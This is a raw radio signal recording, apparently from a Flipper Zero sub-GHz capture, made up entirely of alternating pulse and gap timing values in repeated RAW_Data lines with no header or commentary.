121 -354 139 -336 127 -356 123 -340 347 -134 331 -122 371 -96 369 -96 123 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 123 -370 359 -96 361 -122 337 -128 121 -338 133 -366 91 -378 351 -104 141 -364 105 -336 129 -358 123 -340 347 -134 331 -122 371 -96 369 -96 123 -3736 97 -372 97 -372 129 -338 347 -124 337 -126 337 -130 337 -126 337 -126 123 -354 345 -134 333 -124 369 -94 121 -372 103 -368 123 -352 349 -104 143 -362 105 -338 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3730 99 -372 127 -340 129 -338 347 -124 367 -96 369 -96 371 -96 367 -94 125 -356 347 -132 333 -122 371 -96 121 -372 137 -334 123 -352 351 -104 141 -364 105 -336 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -360 135 -358 105 -336 357 -140 337 -126 349 -94 391 -104 359 -108 105 -362 359 -106 351 -104 365 -92 139 -342 129 -358 125 -360 327 -122 121 -354 141 -336 125 -356 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3734 97 -360 137 -356 107 -338 355 -140 337 -126 349 -94 391 -104 357 -108 105 -362 359 -106 351 -104 367 -92 139 -342 127 -362 123 -360 327 -120 121 -356 139 -336 127 -356 123 -340 347 -134 333 -122 369 -96 369 -96 123 -3736 99 -360 135 -356 105 -338 355 -142 335 -126 349 -94 391 -104 359 -108 105 -362 359 -106 349 -106 365 -92 139 -342 129 -360 123 -360 327 -122 121 -354 141 -336 125 -356 125 -338 349 -132 333 -122 -RAW_Data: 371 -94 371 -96 123 -3730 99 -392 103 -358 105 -338 357 -140 337 -126 349 -94 369 -96 369 -96 127 -366 365 -108 337 -130 353 -94 121 -372 139 -334 125 -352 349 -104 141 -364 105 -336 129 -360 125 -338 347 -134 333 -122 369 -96 369 -96 123 -3732 99 -358 137 -358 107 -336 357 -140 337 -126 349 -94 391 -104 359 -106 107 -360 359 -106 351 -104 365 -94 139 -340 129 -362 123 -360 327 -122 121 -354 139 -338 125 -356 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -374 95 -372 129 -338 347 -124 337 -126 337 -130 337 -126 337 -126 123 -352 347 -134 333 -122 371 -94 121 -372 103 -368 123 -352 351 -102 143 -362 105 -338 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -336 223 -710188 165 -356 105 -338 129 -358 351 -104 337 -124 383 -106 359 -108 337 -128 97 -384 341 -96 369 -96 369 -94 125 -370 135 -362 103 -340 353 -142 105 -356 103 -382 103 -336 123 -388 325 -124 347 -94 369 -128 337 -128 95 -3734 97 -394 103 -338 135 -332 351 -140 333 -126 361 -106 359 -106 345 -102 137 -356 357 -106 347 -102 365 -92 121 -374 137 -334 125 -368 331 -134 101 -360 105 -370 93 -396 103 -360 347 -108 361 -106 339 -130 355 -94 121 -3740 99 -384 101 -360 105 -368 343 -106 339 -130 357 -92 369 -130 337 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 337 -126 339 -128 125 -3728 99 -372 95 -372 97 -372 345 -124 339 -128 337 -128 337 -126 339 -124 123 -344 349 -132 331 -124 337 -128 121 -370 101 -368 93 -382 351 -102 141 -364 105 -336 127 -358 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3704 133 -358 103 -382 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 131 -360 101 -382 105 -336 353 -142 335 -128 327 -140 359 -106 345 -102 137 -356 355 -106 347 -138 331 -124 107 -374 97 -362 93 -390 327 -122 145 -342 99 -366 123 -358 101 -394 317 -140 359 -106 335 -124 359 -104 105 -3736 105 -368 97 -360 125 -360 327 -122 359 -138 325 -142 335 -94 345 -126 123 -370 353 -104 347 -140 333 -124 109 -374 97 -362 91 -372 349 -134 103 -396 105 -334 125 -356 93 -372 349 -132 331 -122 339 -128 337 -128 -RAW_Data: 125 -3708 131 -358 103 -380 103 -336 353 -140 335 -126 327 -140 361 -106 343 -102 137 -356 353 -94 343 -140 335 -128 131 -346 105 -370 91 -398 329 -134 101 -358 107 -370 93 -384 95 -370 349 -132 329 -124 337 -128 337 -130 123 -3706 131 -358 103 -380 105 -334 355 -140 335 -126 349 -94 369 -96 371 -128 93 -370 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3732 99 -360 101 -384 105 -336 357 -140 335 -128 349 -94 369 -128 337 -130 93 -370 363 -108 335 -128 353 -94 121 -372 103 -368 123 -354 351 -102 141 -362 105 -370 97 -360 93 -370 349 -132 331 -124 339 -126 339 -128 125 -3702 131 -358 101 -382 105 -338 355 -140 337 -126 319 -126 355 -140 355 -106 105 -362 355 -106 351 -140 331 -124 107 -374 97 -362 93 -392 327 -122 121 -352 125 -344 133 -366 91 -380 319 -134 335 -124 341 -128 369 -96 125 -3736 99 -372 95 -372 95 -372 345 -126 337 -128 337 -128 337 -128 339 -142 105 -356 347 -108 361 -106 375 -98 133 -348 105 -370 93 -382 349 -104 141 -362 105 -336 129 -358 125 -338 349 -134 329 -124 339 -126 369 -98 123 -3732 97 -358 137 -352 105 -368 325 -140 335 -128 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3704 131 -358 103 -384 105 -336 355 -140 333 -128 349 -94 369 -98 369 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 337 -128 369 -98 123 -3732 99 -358 103 -386 105 -336 355 -140 337 -126 349 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -374 97 -362 123 -360 327 -122 121 -354 123 -344 133 -366 91 -380 349 -104 335 -124 375 -94 369 -96 125 -3706 131 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -104 359 -108 105 -360 359 -104 351 -138 331 -124 107 -374 97 -362 123 -360 327 -124 143 -342 99 -366 123 -372 95 -372 347 -96 359 -124 337 -126 339 -128 125 -3700 129 -340 129 -340 127 -372 345 -126 337 -130 337 -130 337 -126 343 -124 91 -372 349 -130 329 -124 339 -128 121 -370 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 341 -126 337 -130 123 -3702 131 -360 101 -384 105 -336 355 -140 335 -128 -RAW_Data: 317 -126 371 -96 369 -98 125 -370 329 -140 337 -128 321 -124 121 -374 101 -368 93 -386 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 339 -128 337 -130 123 -3704 133 -358 103 -382 103 -336 355 -140 335 -128 329 -138 361 -106 343 -136 103 -356 357 -104 349 -138 331 -124 109 -374 97 -360 93 -392 327 -122 143 -342 99 -366 123 -356 103 -392 317 -140 359 -106 335 -126 359 -104 139 -3694 93 -384 103 -368 93 -384 349 -104 337 -122 375 -96 369 -96 369 -98 125 -370 361 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 127 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3708 131 -358 101 -384 105 -336 355 -140 335 -126 349 -94 391 -106 357 -108 105 -360 359 -106 349 -140 331 -124 107 -342 129 -360 125 -360 327 -122 121 -354 123 -344 133 -366 91 -380 351 -102 337 -122 375 -94 369 -96 125 -3738 99 -358 103 -386 105 -336 355 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -140 331 -124 109 -342 127 -362 123 -360 327 -124 143 -342 99 -366 123 -372 95 -372 347 -94 361 -124 337 -126 339 -128 125 -3702 133 -358 103 -380 103 -338 353 -140 335 -126 349 -94 369 -98 369 -96 125 -368 365 -106 337 -130 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3728 99 -372 97 -370 97 -372 347 -124 337 -128 337 -128 339 -126 337 -124 125 -350 347 -132 331 -124 339 -128 121 -372 101 -368 91 -382 351 -104 141 -364 103 -338 127 -360 123 -340 349 -132 331 -124 339 -126 371 -96 123 -3734 99 -358 103 -386 105 -368 325 -140 335 -126 349 -94 391 -104 359 -108 105 -360 357 -106 351 -140 331 -124 107 -374 97 -360 125 -358 329 -122 121 -354 139 -334 127 -372 105 -360 347 -108 361 -106 341 -130 357 -94 121 -3714 133 -350 137 -360 105 -336 375 -106 339 -130 353 -94 369 -128 339 -128 93 -368 367 -106 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -134 331 -122 339 -126 369 -98 123 -3730 99 -358 137 -352 107 -366 327 -140 335 -128 349 -94 369 -98 369 -128 93 -368 365 -108 337 -128 353 -92 123 -374 101 -368 125 -354 349 -104 141 -364 103 -338 129 -360 123 -340 349 -132 331 -124 339 -126 371 -96 123 -3706 131 -360 101 -384 105 -336 355 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -140 -RAW_Data: 331 -124 109 -342 127 -362 123 -360 327 -122 121 -354 139 -334 127 -372 105 -360 347 -108 361 -106 341 -130 357 -94 121 -3744 97 -384 103 -360 103 -370 345 -106 339 -132 355 -94 389 -106 357 -108 105 -360 357 -106 351 -140 333 -124 107 -374 97 -362 123 -360 327 -122 123 -354 139 -334 127 -356 125 -338 349 -132 331 -124 339 -128 369 -96 125 -3706 131 -358 103 -382 105 -336 355 -142 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 351 -138 333 -122 109 -374 97 -360 125 -358 327 -124 143 -340 101 -366 123 -372 97 -372 345 -96 361 -122 337 -128 337 -130 123 -3730 99 -360 101 -384 105 -336 357 -140 335 -128 349 -94 369 -96 369 -130 93 -368 365 -106 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -360 123 -340 349 -132 333 -122 339 -128 369 -96 125 -3732 99 -372 95 -372 97 -372 345 -126 337 -128 337 -130 337 -126 339 -124 123 -346 349 -132 331 -124 339 -128 121 -372 101 -368 91 -382 351 -104 141 -364 105 -336 127 -360 123 -340 349 -132 333 -122 339 -126 371 -96 123 -3734 97 -372 97 -372 95 -372 347 -124 337 -128 339 -128 337 -126 337 -126 123 -348 349 -132 331 -124 339 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -338 127 -360 123 -340 349 -132 331 -124 339 -126 337 -130 123 -3730 99 -360 135 -354 105 -368 325 -140 337 -126 349 -94 369 -130 337 -128 95 -368 363 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3730 97 -360 135 -354 107 -366 327 -140 337 -126 351 -94 369 -96 369 -130 93 -368 365 -106 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -338 351 -132 333 -122 339 -126 371 -96 123 -3708 131 -358 101 -384 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 123 -360 327 -124 121 -354 139 -336 125 -356 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3732 97 -360 135 -354 105 -368 325 -142 335 -128 349 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3736 99 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -104 359 -108 105 -360 357 -106 351 -140 331 -124 107 -374 97 -362 123 -360 327 -122 143 -342 -RAW_Data: 99 -368 123 -372 95 -372 347 -96 359 -124 337 -128 337 -130 123 -3698 133 -358 103 -384 105 -336 355 -140 335 -126 351 -94 369 -96 371 -96 125 -368 365 -106 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3730 99 -360 135 -354 105 -368 325 -142 335 -128 349 -94 369 -96 371 -128 93 -368 365 -106 339 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3730 99 -392 103 -354 105 -368 327 -140 335 -128 349 -94 369 -130 337 -128 93 -370 365 -108 337 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3706 131 -360 101 -386 105 -336 355 -140 335 -126 349 -94 391 -106 357 -108 105 -360 359 -106 349 -140 331 -124 107 -374 97 -362 123 -360 327 -122 121 -356 139 -336 125 -356 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3706 133 -358 103 -382 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 107 -360 357 -106 351 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -354 139 -334 127 -358 125 -338 349 -134 331 -124 337 -126 371 -96 123 -3736 99 -358 103 -386 105 -336 357 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 95 -362 123 -360 327 -124 143 -342 101 -366 123 -356 137 -360 351 -106 359 -108 335 -124 359 -106 139 -3702 103 -370 97 -364 123 -360 327 -122 341 -126 369 -98 369 -96 369 -94 125 -356 345 -134 331 -124 341 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -372 97 -372 95 -372 347 -124 337 -128 337 -128 337 -128 337 -126 123 -350 349 -132 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 341 -126 369 -98 123 -3732 99 -358 137 -354 105 -368 325 -140 337 -126 351 -92 371 -96 369 -130 93 -368 363 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -128 369 -96 125 -3732 97 -360 135 -352 105 -368 327 -140 337 -126 349 -94 391 -106 357 -108 105 -360 357 -106 351 -138 333 -124 107 -374 97 -362 123 -360 327 -124 121 -354 139 -336 125 -356 125 -338 349 -134 333 -122 339 -126 -RAW_Data: 369 -98 123 -3736 97 -360 137 -352 105 -366 325 -140 335 -128 349 -94 391 -104 359 -108 105 -360 357 -106 349 -140 333 -124 107 -374 97 -362 123 -360 327 -124 143 -342 101 -366 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 139 -3696 105 -370 99 -364 123 -372 317 -134 333 -124 339 -128 369 -96 371 -96 125 -372 327 -140 337 -128 351 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 107 -374 97 -362 123 -360 327 -124 121 -354 139 -336 127 -356 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3736 99 -358 135 -352 105 -368 325 -140 335 -128 349 -94 391 -104 359 -108 105 -360 357 -106 349 -140 333 -124 107 -376 97 -360 123 -360 327 -124 121 -354 139 -336 127 -356 125 -338 349 -134 331 -124 339 -126 369 -98 123 -3732 97 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 335 -126 123 -350 349 -132 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3704 133 -358 103 -384 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -92 139 -374 97 -360 123 -360 327 -124 141 -344 135 -332 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 139 -3704 103 -370 97 -364 123 -360 327 -122 357 -140 361 -106 337 -94 377 -96 121 -372 353 -104 349 -140 333 -122 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 125 -338 349 -134 331 -124 337 -126 371 -96 125 -3734 99 -358 137 -352 105 -366 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 333 -122 109 -374 97 -360 125 -360 327 -122 143 -344 99 -368 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 103 -3738 105 -370 97 -362 123 -360 329 -122 355 -140 361 -108 335 -94 379 -94 121 -372 353 -104 349 -140 333 -124 107 -376 97 -360 125 -338 349 -134 103 -396 105 -336 127 -356 123 -340 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -126 337 -126 123 -352 347 -132 333 -122 341 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3728 99 -372 97 -372 127 -340 347 -124 -RAW_Data: 337 -128 337 -130 337 -128 337 -124 125 -352 347 -132 333 -124 339 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -338 129 -360 93 -370 349 -132 331 -124 339 -126 371 -96 123 -3708 131 -358 101 -386 105 -336 355 -140 335 -126 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 125 -358 329 -122 121 -356 137 -336 127 -356 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3732 99 -372 95 -372 97 -372 347 -124 337 -128 337 -128 339 -126 337 -124 125 -350 347 -132 333 -124 339 -126 123 -372 101 -366 93 -384 351 -102 141 -364 105 -336 127 -360 125 -338 349 -132 333 -122 341 -126 369 -98 123 -3732 99 -358 137 -354 105 -368 325 -140 337 -126 351 -92 371 -128 337 -130 93 -368 363 -108 337 -130 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -360 123 -340 349 -132 333 -122 341 -126 369 -98 123 -3730 99 -392 103 -354 105 -368 327 -140 337 -126 351 -92 371 -128 337 -130 93 -368 363 -108 337 -130 353 -94 121 -372 103 -368 125 -352 351 -140 105 -362 105 -338 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3740 99 -358 103 -384 105 -336 355 -142 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 351 -138 333 -122 109 -374 97 -360 125 -360 327 -122 143 -344 99 -366 123 -358 137 -360 353 -104 361 -106 335 -124 359 -106 137 -3702 105 -370 97 -362 125 -360 327 -122 373 -94 369 -98 369 -96 369 -96 125 -370 327 -128 357 -124 337 -128 91 -368 133 -366 91 -380 351 -102 141 -364 105 -334 129 -358 123 -340 349 -132 331 -124 339 -128 369 -96 125 -3734 99 -360 135 -352 105 -368 325 -140 337 -126 349 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 109 -374 97 -360 125 -358 327 -122 143 -342 135 -334 123 -358 135 -360 353 -106 359 -108 335 -122 361 -104 139 -3712 103 -342 137 -336 123 -374 317 -134 335 -124 353 -140 359 -108 337 -128 95 -368 355 -104 351 -140 333 -124 109 -374 97 -362 125 -360 327 -122 143 -344 99 -366 123 -358 137 -358 353 -106 359 -108 335 -124 359 -104 139 -3698 105 -370 99 -362 125 -356 329 -122 373 -96 369 -96 371 -96 369 -126 93 -368 359 -98 359 -124 337 -128 121 -338 133 -366 91 -380 351 -104 141 -362 105 -336 129 -358 123 -340 351 -132 331 -124 337 -126 371 -96 125 -3730 99 -360 135 -356 105 -368 325 -140 337 -126 349 -94 369 -130 337 -128 95 -368 363 -108 -RAW_Data: 337 -130 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -360 125 -340 347 -134 331 -124 339 -126 371 -96 123 -3730 99 -394 101 -354 107 -368 325 -142 335 -128 349 -94 369 -98 369 -128 95 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 351 -138 105 -364 105 -368 97 -362 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3736 99 -360 101 -386 105 -336 355 -140 337 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 331 -124 109 -374 97 -360 125 -360 327 -122 143 -344 99 -366 123 -358 135 -360 353 -106 359 -108 335 -124 359 -104 139 -3704 105 -370 97 -362 123 -360 327 -122 355 -138 361 -108 337 -126 349 -94 121 -372 353 -104 349 -140 333 -124 107 -376 97 -362 125 -338 351 -132 105 -396 105 -334 127 -356 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3730 99 -358 137 -354 105 -368 327 -140 337 -128 349 -94 369 -96 371 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -360 125 -340 349 -134 331 -124 337 -126 371 -96 125 -3706 131 -358 101 -384 105 -368 325 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 125 -358 327 -124 141 -344 133 -334 123 -358 135 -360 353 -106 359 -108 335 -124 359 -104 139 -3708 103 -378 103 -336 123 -388 325 -124 349 -94 369 -128 337 -130 337 -126 93 -388 347 -102 335 -124 373 -96 121 -372 101 -368 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3740 99 -358 103 -384 105 -336 355 -142 333 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 95 -362 123 -360 327 -122 143 -342 135 -332 125 -356 137 -360 353 -104 361 -106 335 -124 361 -104 139 -3708 103 -376 105 -336 123 -386 325 -124 349 -94 369 -128 337 -130 337 -126 93 -386 349 -104 335 -122 375 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -370 97 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3736 99 -358 103 -386 105 -368 325 -140 335 -126 351 -94 391 -104 357 -106 107 -360 357 -106 351 -140 333 -124 109 -374 95 -362 123 -360 327 -124 143 -342 101 -366 123 -358 135 -360 353 -106 359 -106 335 -124 361 -104 139 -3702 91 -382 103 -368 91 -384 349 -104 337 -122 387 -104 361 -108 337 -128 97 -382 343 -96 369 -128 337 -126 93 -358 127 -370 97 -372 347 -124 -RAW_Data: 95 -380 91 -384 101 -370 91 -384 351 -104 367 -92 375 -96 369 -96 125 -3734 99 -394 101 -354 107 -368 327 -140 335 -128 349 -94 391 -104 359 -106 107 -360 357 -106 349 -140 333 -124 109 -374 95 -362 123 -360 327 -124 121 -354 139 -336 125 -356 125 -340 349 -134 331 -124 339 -126 371 -96 123 -3730 97 -374 95 -372 129 -340 347 -124 337 -126 339 -128 337 -128 337 -126 123 -354 347 -132 333 -124 339 -126 121 -372 101 -368 93 -382 351 -104 141 -364 103 -338 129 -358 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3730 99 -394 101 -356 105 -368 327 -140 335 -128 349 -94 369 -130 337 -128 95 -368 365 -108 335 -130 353 -92 121 -374 103 -368 125 -354 351 -102 143 -362 105 -336 129 -360 125 -338 351 -132 333 -122 339 -126 369 -98 123 -3740 97 -360 101 -386 105 -336 357 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 95 -362 123 -360 327 -124 143 -342 99 -366 123 -372 97 -372 345 -96 361 -124 337 -126 339 -128 125 -3704 133 -358 103 -382 103 -336 357 -140 333 -128 349 -94 391 -104 359 -106 107 -360 357 -106 351 -140 331 -124 109 -374 95 -362 123 -360 327 -122 143 -342 135 -334 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 139 -3704 105 -370 97 -362 125 -360 327 -122 357 -140 359 -108 335 -96 377 -96 121 -372 351 -106 349 -140 331 -124 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3706 133 -358 103 -384 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 333 -124 107 -374 97 -362 125 -358 327 -122 123 -354 139 -336 127 -356 125 -340 349 -132 331 -122 339 -126 371 -96 123 -3732 99 -394 101 -354 107 -366 327 -140 337 -126 351 -94 369 -128 337 -130 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -138 107 -362 105 -370 97 -360 123 -340 351 -132 333 -122 339 -126 369 -98 123 -3732 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -126 337 -126 123 -352 347 -132 333 -122 341 -126 123 -372 101 -366 93 -384 351 -102 141 -364 105 -336 129 -358 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3738 99 -358 101 -386 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -104 353 -140 331 -124 109 -374 97 -360 125 -360 327 -122 145 -342 99 -366 123 -372 95 -372 347 -96 361 -122 -RAW_Data: 337 -128 337 -130 123 -3732 97 -372 97 -372 97 -370 347 -124 337 -128 339 -128 337 -126 337 -126 123 -348 349 -134 331 -124 337 -128 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 129 -360 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3730 99 -372 97 -372 95 -372 347 -124 337 -128 337 -128 339 -128 337 -124 125 -352 347 -132 333 -122 341 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -338 129 -358 125 -340 349 -132 331 -124 339 -128 369 -96 125 -3730 99 -372 95 -372 97 -372 347 -124 337 -128 337 -128 339 -126 337 -126 123 -352 347 -134 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -360 125 -338 349 -132 333 -122 341 -126 369 -98 123 -3740 97 -360 101 -384 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 97 -360 125 -358 327 -124 141 -342 135 -332 123 -356 137 -360 351 -106 359 -108 335 -124 359 -106 139 -3716 103 -376 103 -336 123 -388 325 -124 345 -94 369 -130 337 -128 337 -126 95 -386 349 -102 335 -124 373 -96 121 -372 101 -368 125 -350 351 -140 105 -362 105 -370 97 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3738 99 -358 101 -386 105 -368 325 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 333 -124 107 -376 97 -360 125 -358 329 -122 121 -356 137 -336 127 -372 103 -362 347 -106 363 -106 339 -132 357 -94 121 -3744 99 -380 103 -360 105 -370 345 -108 339 -130 359 -94 389 -104 359 -106 107 -396 321 -106 351 -140 333 -124 109 -374 97 -362 123 -360 327 -122 123 -354 139 -334 127 -358 125 -358 327 -122 339 -126 371 -96 369 -96 127 -3732 99 -372 95 -370 127 -346 343 -128 337 -128 339 -126 337 -124 361 -140 105 -364 351 -106 361 -106 335 -124 145 -340 99 -362 123 -360 327 -122 123 -356 139 -336 127 -356 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3738 99 -358 103 -386 105 -366 327 -140 335 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 333 -122 109 -374 97 -362 123 -360 327 -124 143 -342 101 -366 123 -358 135 -360 353 -104 361 -106 337 -124 359 -104 139 -3710 103 -376 103 -336 123 -386 325 -124 351 -94 369 -128 337 -128 337 -128 93 -386 349 -102 337 -122 375 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -360 125 -338 351 -132 333 -122 339 -128 369 -96 125 -3734 99 -358 137 -352 105 -368 -RAW_Data: 325 -142 335 -126 351 -94 391 -104 357 -108 105 -362 355 -106 353 -140 331 -124 109 -374 97 -360 123 -360 329 -122 121 -354 139 -336 127 -356 125 -360 327 -122 339 -128 337 -128 337 -130 125 -3732 99 -372 95 -372 93 -380 343 -128 337 -128 339 -126 339 -124 357 -104 141 -362 353 -106 359 -108 335 -124 109 -374 99 -362 123 -360 327 -124 121 -356 139 -334 127 -358 125 -338 349 -134 331 -124 339 -126 369 -98 123 -3730 97 -372 97 -372 129 -338 349 -124 337 -128 337 -128 339 -128 337 -124 125 -354 347 -132 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3730 99 -394 101 -356 105 -368 329 -140 335 -126 351 -94 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 125 -352 351 -140 105 -362 105 -338 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3736 99 -358 137 -352 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 107 -360 359 -106 349 -140 333 -122 109 -374 97 -360 125 -360 327 -122 121 -356 139 -334 127 -358 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3730 99 -392 103 -354 107 -368 327 -140 335 -128 349 -94 369 -130 337 -128 95 -366 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -104 141 -362 105 -370 97 -360 125 -338 349 -132 333 -122 341 -126 369 -98 123 -3732 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 335 -126 125 -350 347 -132 333 -124 339 -128 121 -372 101 -368 93 -382 351 -104 141 -364 103 -338 129 -358 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3742 97 -360 101 -386 103 -338 355 -140 337 -126 349 -94 391 -104 359 -108 105 -360 357 -106 351 -140 331 -124 109 -374 97 -360 123 -360 329 -122 121 -354 139 -336 127 -356 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3738 99 -358 103 -384 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -124 107 -374 97 -362 125 -358 327 -122 143 -344 99 -368 123 -358 135 -360 353 -106 359 -108 335 -122 361 -104 139 -3704 105 -370 97 -362 125 -358 329 -122 355 -140 359 -108 335 -128 347 -94 121 -374 351 -106 349 -140 333 -124 109 -374 97 -362 123 -338 349 -134 139 -362 103 -336 127 